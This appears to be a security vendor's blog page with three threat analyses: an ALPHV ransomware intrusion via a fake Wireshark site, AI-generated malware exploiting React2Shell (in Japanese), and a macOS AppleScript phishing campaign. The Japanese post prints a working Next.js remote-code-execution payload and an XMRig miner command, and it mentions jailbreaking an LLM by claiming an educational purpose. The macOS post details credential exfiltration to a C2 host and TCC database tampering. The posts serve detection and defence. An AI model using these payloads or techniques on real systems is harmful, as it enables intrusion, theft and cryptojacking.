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February 29, 2024

Protecting Against AlphV BlackCat Ransomware

Learn how Darktrace AI is combating AlphV BlackCat ransomware, including the details of this ransomware and how to protect yourself from it.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
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29
Feb 2024

As-a-Service malware trending

Throughout the course of 2023, “as-a-Service” strains of malware remained the most consistently observed threat type to affect Darktrace customers, mirroring their overall prominence across the cyber threat landscape. With this trend expected to continue throughout 2024, organizations and their security teams should be prepared to defend their network against increasingly versatile and tailorable malware-as-a-service (MaaS) and ransomware-as-a-service (RaaS) strains [1].

What is ALPHV ransomware?

The ALPHV ransomware, also known as ‘BlackCat’ or ‘Noberus’, is one example of a RaaS strain that has been prominent across the threat landscape over the last few years.

ALPHV is a ransomware strain coded in the Rust programming language. The ransomware is sold as part of the RaaS economy [2], with samples of the ransomware being provided and sold by a criminal group (the RaaS ‘operator’) to other cybercriminals (the RaaS ‘affiliates’) who then gain entry to organizations' networks with the intention of detonating the ransomware and demanding ransom payments.

ALPHV was likely first used in the wild back in November 2021 [3]. Since then, it has become one of the most prolific ransomware strains, with the Federal Bureau of Investigation (FBI) reporting nearly USD 300 million in ALPHV ransom payments as of September 2023 [4].

In December 2023, the FBI and the US Department of Justice announced a successful disruption campaign against the ALPHV group, which included a takedown of the their data leak site, and the release of a decryption tool for the ransomware strain [5], and in February 2024, the US Department of State announced  a reward of up to USD 10 million for information leading to the identification or location of anyone occupying a key leadership position in the group operating the ALPHV ransomware strain [6].

The disruption campaign against the ransomware group appeared to have been successful, as evidenced by the recent, significant decline in ALPHV attacks, however, it would not be surprising for the group to simply return with new branding, in a similar vein to its apparent predecessors, DarkSide and BlackMatter [7].

How does ALPHV ransomware work?

ALPHV affiliates have been known to employ a variety of methods to progress towards their objective of detonating ALPHV ransomware [4]. In the latter half of 2023, ALPHV affiliates were observed using malicious advertising (i.e, malvertising) to deliver a Python-based backdoor-dropper known as 'Nitrogen' to users' devices [8][12]. These malvertising operations consisted in affiliates setting up malicious search engine adverts for tools such as WinSCP and AnyDesk.

Users' interactions with these adverts led them to sites resembling legitimate software distribution sites. Users' attempts to download software from these spoofed sites resulted in the delivery of a backdoor-dropping malware sample dubbed 'Nitrogen' to their devices. Nitrogen has been observed dropping a variety of command-and-control (C2) implants onto users' devices, including Cobalt Strike Beacon and Sliver C2. ALPHV affiliates often used the backdoor access afforded to them by these C2 implants to conduct reconnaissance and move laterally, in preparation for detonating ALPHV ransomware payloads.

Darktrace Detection of ALPHV Ransomware

During October 2023, Darktrace observed several cases of ALPHV affiliates attempting to infiltrate organizations' networks via the use of malvertising to socially engineer users into downloading and installing Nitrogen from impersonation websites such as 'wireshhark[.]com' and wìnscp[.]net (i.e, xn--wnscp-tsa[.]net).

While the attackers managed to bypass traditional security measures and evade detection by using a device from the customer’s IT team to perform its malicious activity, Darktrace DETECT™ swiftly identified the subtle indicators of compromise (IoCs) in the first instance. This swift detection of ALPHV, along with Cyber AI Analyst™ autonomously investigating the wide array of post-compromise activity, provided the customer with full visibility over the attack enabling them to promptly initiate their remediation and recovery efforts.

Unfortunately, in this incident, Darktrace RESPOND™ was not fully deployed within their environment, hindering its ability to autonomously counter emerging threats. Had RESPOND been fully operational here, it would have effectively contained the attack in its early stages, avoiding the eventual detonation of the ALPHV ransomware.

Figure 1: Timeline of the ALPHV ransomware attack.

In mid-October, a member of the IT team at a US-based Darktrace customer attempted to install the network traffic analysis software, Wireshark, onto their desktop. Due to the customer’s configuration, Darktrace's visibility over this device was limited to its internal traffic, despite this it was still able to identify and alert for a string of suspicious activity conducted by the device.

Initially, Darktrace observed the device making type A DNS requests for 'wiki.wireshark[.]org' immediately before making type A DNS requests for the domain names 'www.googleadservices[.]com', 'allpcsoftware[.]com', and 'wireshhark[.]com' (note the two 'h's). This pattern of activity indicates that the device’s user was redirected to the website, wireshhark[.]com, as a result of the user's interaction with a sponsored Google Search result pointing to allpcsoftware[.]com.

At the time of analysis, navigating to wireshhark[.]com directly from the browser search bar led to a YouTube video of Rick Astley's song "Never Gonna Give You Up". This suggests that the website, wireshhark[.]com, had been configured to redirect users to this video unless they had arrived at the website via the relevant sponsored Google Search result [8].

Although it was not possible to confirm this with certainty, it is highly likely that users who visited the website via the appropriate sponsored Google Search result were led to a fake website (wireshhark[.]com) posing as the legitimate website, wireshark[.]com. It seems that the actors who set up this fake version of wireshark[.]com were inspired by the well-known bait-and-switch technique known as 'rickrolling', where users are presented with a desirable lure (typically a hyperlink of some kind) which unexpectedly leads them to a music video of Rick Astley's "Never Gonna Give You Up".

After being redirected to wireshhark[.]com, the user unintentionally installed a malware sample which dropped what appears to be Cobalt Strike onto their device. The presence of Cobalt Strike on the user's desktop was evidenced by the subsequent type A DNS requests which the device made for the domain name 'pse[.]ac'. These DNS requests were responded to with the likely Cobalt Strike C2 server address, 194.169.175[.]132. Given that Darktrace only had visibility over the device’s internal traffic, it did not observe any C2 connections to this Cobalt Strike endpoint. However, the desktop's subsequent behavior suggests that a malicious actor had gained 'hands-on-keyboard' control of the device via an established C2 channel.

Figure 2: Advanced Search data showing an customer device being tricked into visiting the fake website, wireshhark[.]com.

Since the malicious actor had gained control of an IT member's device, they were able to abuse the privileged account credentials to spread Python payloads across the network via SMB and the Windows Management Instrumentation (WMI) service. The actor was also seen distributing the Windows Sys-Internals tool, PsExec, likely in an attempt to facilitate their lateral movement efforts. It was normal for this IT member's desktop to distribute files across the network via SMB, which meant that this malicious SMB activity was not, at first glance, out of place.

Figure 3: Advanced Search data showing that it was normal for the IT member's device to distribute files over SMB.

However, Darktrace DETECT recognized that the significant spike in file writes being performed here was suspicious, even though, on the surface, it seemed ‘normal’ for the device. Furthermore, Darktrace identified that the executable files being distributed were attempting to masquerade as a different file type, potentially in an attempt to evade the detection of traditional security tools.

Figure 4: Event Log data showing several Model Breaches being created in response to the IT member's DEVICE's SMB writes of Python-based executables.

An addition to DETECT’s identification of this unusual activity, Darktrace’s Cyber AI Analyst launched an autonomous investigation into the ongoing compromise and was able to link the SMB writes and the sharing of the executable Python payloads, viewing the connections as one lateral movement incident rather than a string of isolated events. After completing its investigation, Cyber AI Analyst was able to provide a detailed summary of events on one pane of glass, ensuring the customer could identify the affected device and begin their remediation.

Figure 5: Cyber AI Analyst investigation summary highlighting the IT member's desktop’s lateral movement activities.

C2 Activity

The Python payloads distributed by the IT member’s device were likely related to the Nitrogen malware, as evidenced by the payloads’ names and by the network behaviours which they engendered.  

Figure 6: Advanced Search data showing the affected device reaching out to the C2 endpoint, pse[.]ac, and then distributing Python-based executable files to an internal domain controller.

The internal devices to which these Nitrogen payloads were distributed immediately went on to contact C2 infrastructure associated with Cobalt Strike. These C2 connections were made over SSL on ports 443 and 8443.  Darktrace identified the attacker moving laterally to an internal SQL server and an internal domain controller.

Figure 7: Advanced Search data showing an internal SQL server contacting the Cobalt Strike C2 endpoint, 194.180.48[.]169, after receiving Python payloads from the IT member’s device.
Figure 8: Event Log data showing several DETECT model breaches triggering in response to an internal SQL server’s C2 connections to 194.180.48[.]169.

Once more, Cyber AI Analyst launched its own investigation into this activity and was able to successfully identify a series of separate SSL connections, linking them together into one wider C2 incident.

Figure 9: Cyber AI Analyst investigation summary highlighting C2 connections from the SQL server.

Darktrace observed the attacker using their 'hands-on-keyboard' access to these systems to elevate their privileges, conduct network reconnaissance (primarily port scanning), spread Python payloads further across the network, exfiltrate data from the domain controller and transfer a payload from GitHub to the domain controller.

Figure 10: Cyber AI Analyst investigation summary an IP address scan carried out by an internal domain controller.
Figure 12: Event Log data showing an internal domain controller contacting GitHub around the time that it was in communication with the C2 endpoint, 194.180.48[.]169.
Figure 13: Event Log data showing a DETECT model breach being created in response to an internal domain controller's large data upload to the C2 endpoint, 194.180.48[.]169.

After conducting extensive reconnaissance and lateral movement activities, the attacker was observed detonating ransomware with the organization's VMware environment, resulting in the successful encryption of the customer’s VMware vCenter server and VMware virtual machines. In this case, the attacker took around 24 hours to progress from initial access to ransomware detonation.  

If the targeted organization had been signed up for Darktrace's Proactive Threat Notification (PTN) service, they would have been promptly notified of these suspicious activities by the Darktrace Security Operations Center (SOC) in the first instance, allowing them to quickly identify affected devices and quarantine them before the compromise could escalate.

Additionally, given the quantity of high-severe alerts that triggered in response to this attack, Darktrace RESPOND would, under normal circumstances, have inhibited the attacker's activities as soon as they were identified by DETECT. However, due to RESPOND not being configured to act on server devices within the customer’s network, the attacker was able to seamlessly move laterally through the organization's server environment and eventually detonate the ALPHV ransomware.

Nevertheless, Darktrace was able to successfully weave together multiple Cyber AI Analyst incidents which it generated into a thread representing the chain of behavior that made up this attack. The thread of Incident Events created by Cyber AI Analyst provided a substantial account of the attack and the steps involved in it, which significantly facilitated the customer’s post-incident investigation efforts.  

Figure 14: Darktrace's AI Analyst weaved together 33 of the Incident Events it created together into a thread representing the attacker’s chain of behavior.

Conclusion

It is expected for malicious cyber actors to revise and upgrade their methods to evade organizations’ improving security measures. The continued improvement of email security tools, for example, has likely created a need for attackers to develop new means of Initial Access, such as the use of Microsoft Teams-based malware delivery.

This fast-paced ALPHV ransomware attack serves as a further illustration of this trend, with the actor behind the attack using malvertising to convince an unsuspecting user to download the Python-based malware, Nitrogen, from a fake Wireshark site. Unbeknownst to the user, this stealthy malware dropped a C2 implant onto the user’s device, giving the malicious actor the ‘hands-on-keyboard’ access they needed to move laterally, conduct network reconnaissance, and ultimately detonate ALPHV ransomware.

Despite the non-traditional initial access methods used by this ransomware actor, Darktrace DETECT was still able to identify the unusual patterns of network traffic caused by the attacker’s post-compromise activities. The large volume of alerts created by Darktrace DETECT were autonomously investigated by Darktrace’s Cyber AI Analyst, which was able to weave together related activities of different devices into a comprehensive timeline of the attacker’s operation. Given the volume of DETECT alerts created in response to this ALPHV attack, it is expected that Darktrace RESPOND would have autonomously inhibited the attacker’s operation had the capability been appropriately configured.

As the first post-compromise activities Darktrace observed in this ALPHV attack were seemingly performed by a member of the customer’s IT team, it may have looked normal to a human or traditional signature and rules-based security tools. To Darktrace’s Self-Learning AI, however, the observed activities represented subtle deviations from the device’s normal pattern of life. This attack, and Darktrace’s detection of it, is therefore a prime illustration of the value that Self-Learning AI can bring to the task of detecting anomalies within organizations’ digital estates.

Credit to Sam Lister, Senior Cyber Analyst, Emma Foulger, Principal Cyber Analyst

Appendices

Darktrace DETECT Model Breaches

- Compliance / SMB Drive Write

- Compliance / High Priority Compliance Model Breach

- Anomalous File / Internal / Masqueraded Executable SMB Write

- Device / New or Uncommon WMI Activity

- Anomalous Connection / New or Uncommon Service Control

- Anomalous Connection / High Volume of New or Uncommon Service Control

- Device / New or Uncommon SMB Named Pipe

- Device / Multiple Lateral Movement Model Breaches

- Device / Large Number of Model Breaches  

- SMB Writes of Suspicious Files (Cyber AI Analyst)

- Suspicious Remote WMI Activity (Cyber AI Analyst)

- Suspicious DCE-RPC Activity (Cyber AI Analyst)

- Compromise / Connection to Suspicious SSL Server

- Compromise / High Volume of Connections with Beacon Score

- Anomalous Connection / Suspicious Self-Signed SSL

- Anomalous Connection / Anomalous SSL without SNI to New External

- Compromise / Suspicious TLS Beaconing To Rare External

- Compromise / Beacon to Young Endpoint

- Compromise / SSL or HTTP Beacon

- Compromise / Agent Beacon to New Endpoint

- Device / Long Agent Connection to New Endpoint

- Compromise / SSL Beaconing to Rare Destination

- Compromise / Large Number of Suspicious Successful Connections

- Compromise / Slow Beaconing Activity To External Rare

- Anomalous Server Activity / Outgoing from Server

- Device / Multiple C2 Model Breaches

- Possible SSL Command and Control (Cyber AI Analyst)

- Unusual Repeated Connections (Cyber AI Analyst)

- Device / ICMP Address Scan

- Device / RDP Scan

- Device / Network Scan

- Device / Suspicious Network Scan Activity

- Scanning of Multiple Devices (Cyber AI Analyst)

- ICMP Address Scan (Cyber AI Analyst)

- Device / Anomalous Github Download

- Unusual Activity / Unusual External Data Transfer

- Device / Initial Breach Chain Compromise

MITRE ATT&CK Mapping

Resource Development techniques:

- Acquire Infrastructure: Malvertising (T1583.008)

Initial Access techniques:

- Drive-by Compromise (T1189)

Execution techniques:

- User Execution: Malicious File (T1204.002)

- System Services: Service Execution (T1569.002)

- Windows Management Instrumentation (T1047)

Defence Evasion techniques:

- Masquerading: Match Legitimate Name or Location (T1036.005)

Discovery techniques:

- Remote System Discovery (T1018)

- Network Service Discovery (T1046)

Lateral Movement techniques:

- Remote Services: SMB/Windows Admin Shares

- Lateral Tool Transfer (T1570)

Command and Control techniques:

- Application Layer Protocol: Web Protocols (T1071.001)

- Encrypted Channel: Asymmetric Cryptography (T1573.002)

- Non-Standard Port (T1571)

- Ingress Tool Channel (T1105)

Exfiltration techniques:

- Exfiltration Over C2 Channel (T1041)

Impact techniques:

- Data Encrypted for Impact (T1486)

List of Indicators of Compromise

- allpcsoftware[.]com

- wireshhark[.]com

- pse[.]ac • 194.169.175[.]132

- 194.180.48[.]169

- 193.42.33[.]14

- 141.98.6[.]195

References  

[1] https://darktrace.com/threat-report-2023

[2] https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

[3] https://www.bleepingcomputer.com/news/security/alphv-blackcat-this-years-most-sophisticated-ransomware/

[4] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-353a

[5] https://www.justice.gov/opa/pr/justice-department-disrupts-prolific-alphvblackcat-ransomware-variant

[6] https://www.state.gov/u-s-department-of-state-announces-reward-offers-for-criminal-associates-of-the-alphv-blackcat-ransomware-variant/

[7] https://www.bleepingcomputer.com/news/security/blackcat-alphv-ransomware-linked-to-blackmatter-darkside-gangs/

[8] https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html

[9] https://news.sophos.com/en-us/2023/07/26/into-the-tank-with-nitrogen/

[10] https://www.esentire.com/blog/persistent-connection-established-nitrogen-campaign-leverages-dll-side-loading-technique-for-c2-communication

[11] https://www.esentire.com/blog/nitrogen-campaign-2-0-reloads-with-enhanced-capabilities-leading-to-alphv-blackcat-ransomware

[12] https://www.esentire.com/blog/the-notorious-alphv-blackcat-ransomware-gang-is-attacking-corporations-and-public-entities-using-google-ads-laced-with-malware-warns-esentire

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher

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February 12, 2026

AI/LLMで生成されたマルウェアを使ったReact2Shellエクスプロイト

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発(“vibecoding”とも呼ばれます)が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

Container spawned with the name ‘python-metrics-collector’.
図1:‘python-metrics-collector’ という名前で生成されたコンテナ

次に、必要な一連のpythonパッケージを次からダウンロードします

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

  • hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only(教育/研究目的専用)” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
図2:GPTZeroによるAI検知の結果は、スクリプトがAIモデルを使って生成された可能性を示しています。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します:

  • 念入りに構成されたNext.jsサーバーコンポーネントペイロード
  • 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
  • 任意のシェルコマンドを実行する子プロセス起動

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン(トランザクションを追跡できずウォレット残高が閲覧できない)が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

 The supportxmr mining pool overview for the attackers wallet address
図3:supportxmrマイニングツールに表示される攻撃者のウォレットアドレス概要

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当:Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ(IoC)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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Nathaniel Bill
Malware Research Engineer

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February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

